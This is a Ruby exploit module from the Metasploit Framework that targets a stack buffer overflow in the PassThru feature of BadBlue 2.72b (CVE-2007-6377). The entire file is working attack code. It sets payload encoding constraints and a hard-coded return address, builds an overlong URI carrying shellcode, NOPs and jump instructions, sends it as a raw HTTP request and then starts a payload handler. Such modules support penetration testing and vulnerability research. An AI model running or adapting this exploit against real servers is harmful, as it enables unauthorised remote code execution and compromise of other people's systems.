mirror of
https://github.com/rapid7/metasploit-framework
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77 lines
1.9 KiB
Ruby
77 lines
1.9 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'BadBlue 2.72b PassThru Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in the PassThru
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functionality in ext.dll in BadBlue 2.72b and earlier.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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['CVE', '2007-6377'],
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['OSVDB', '42416'],
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['BID', '26803'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 750,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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'StackAdjustment' => -3500,
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'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
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'DisableNops' => 'True',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'BadBlue 2.72b Universal', { 'Ret' => 0x1003f2f3 } ],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Dec 10 2007'))
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register_options(
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[
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Opt::RPORT(80)
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], self.class)
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end
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def exploit
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# Need to obfuscate the buffer a bit more. "\x96" is ghetto.
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uri = "/ext.dll?mfcisapicommand=PassThru&" + "\x96" * (4116 - payload.encoded.length)
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uri << payload.encoded + Rex::Arch::X86.jmp_short(8) + make_nops(2) + [target.ret].pack('V')
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uri << make_nops(12) + [0xe8, -850].pack('CV')
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print_status("Trying target %s..." % target.name)
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send_request_raw({'uri' => uri,}, 5)
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handler
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disconnect
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end
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end
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